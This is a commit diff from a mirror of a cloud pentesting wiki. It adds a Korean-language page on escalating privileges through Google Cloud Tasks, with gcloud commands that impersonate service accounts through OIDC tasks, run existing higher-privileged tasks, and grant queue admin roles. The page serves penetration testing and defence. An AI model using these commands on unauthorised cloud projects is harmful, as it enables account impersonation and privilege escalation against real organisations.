mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -107,6 +107,7 @@
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
|
||||
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
|
||||
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
|
||||
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
|
||||
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
|
||||
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# GCP - Cloud Tasks Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Tasks
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **다른 서비스 계정을 가장할 수 있습니다**. 이는 지정된 서비스 계정의 신원으로 실행되는 작업을 생성함으로써 가능합니다. 이를 통해 **IAM으로 보호된 Cloud Run 또는 Cloud Functions** 서비스에 **인증된 HTTP 요청을 보낼 수 있습니다**.
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
--location us-central1 \
|
||||
--queue <queue_name> \
|
||||
--url 'https://<service_name>.us-central1.run.app' \
|
||||
--method POST \
|
||||
--header 'X-Hello: world' \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
이 권한을 가진 공격자는 **기존의 예약된 작업을 실행**할 수 있으며, 작업과 연결된 서비스 계정에 대한 권한이 필요하지 않습니다. 이는 이전에 더 높은 권한을 가진 서비스 계정으로 생성된 작업을 실행할 수 있게 해줍니다.
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
이 명령을 실행하는 주체는 **작업의 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 필요하지 않습니다**. 그러나 이는 기존 작업을 실행할 수만 있게 하며, 작업을 생성하거나 수정할 수 있는 권한은 부여하지 않습니다.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **특정 큐에서 자신이나 다른 주체에게 Cloud Tasks 역할을 부여할 수 있습니다**, 이는 `roles/cloudtasks.admin`로 상승할 수 있으며, 여기에는 작업을 생성하고 실행할 수 있는 능력이 포함됩니다.
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
--location us-central1 \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
이것은 공격자가 자신이 제어하는 서비스 계정에 대해 큐에 대한 전체 Cloud Tasks 관리자 권한을 부여할 수 있게 합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user